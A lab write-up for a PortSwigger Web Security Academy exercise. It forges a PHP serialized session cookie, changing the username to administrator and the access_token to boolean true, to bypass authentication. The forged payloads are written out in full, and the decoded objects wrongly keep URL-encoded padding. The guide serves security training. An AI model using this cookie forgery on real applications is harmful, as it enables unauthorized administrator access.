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# Changing Serialized Data Types
Changing Serialized Data Types notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Modifying Serialized Data Types
**Lab objective**
This lab uses a session mechanism based on serialization and has a vulnerability to bypass authentication. / The purpose is to modify the serialized object contained in the session cookie to access the \*\* admin account\*\*, then delete the user **carlos**.
**Initial access**
You can connect with the following credentials:
* **User**: `wiener`
* **Password**: `peter`
After the connection, the server returns a session cookie containing a serialized object encoded in Base64.
**Session Cookie Obtained**
The session cookie has the following value:
{% code overflow="wrap" %}
```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```
{% endcode %}
**Basic decoding64**
After decoding, the following serialized PHP object is obtained:
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```
{% endcode %}
This object represents an instance of the `User` class with two properties:
* `username`
* `access_token`
**Behavioral analysis**
* If a `access_token` character is changed, the server returns an error, indicating that this field is normally validated.
* The `username` field is used to determine the user's role.
**Exploitation of vulnerability**
**Changed user name**/ The value of `username` is replaced by `administrator` by correctly adjusting the length of the string (`s:13`).
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```
{% endcode %}
**Change in token data type**/ Instead of providing a chain-type `access_token` (`string`), its type is modified to boolean (`b:1`, equivalent to `true`).
Final serialized object:
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```
{% endcode %}
After re-encoding in Base64 and inserting into the session cookie, the server accepts the object without checking the token type correctly.
The application then considers the session valid for the user **administrator**.
---
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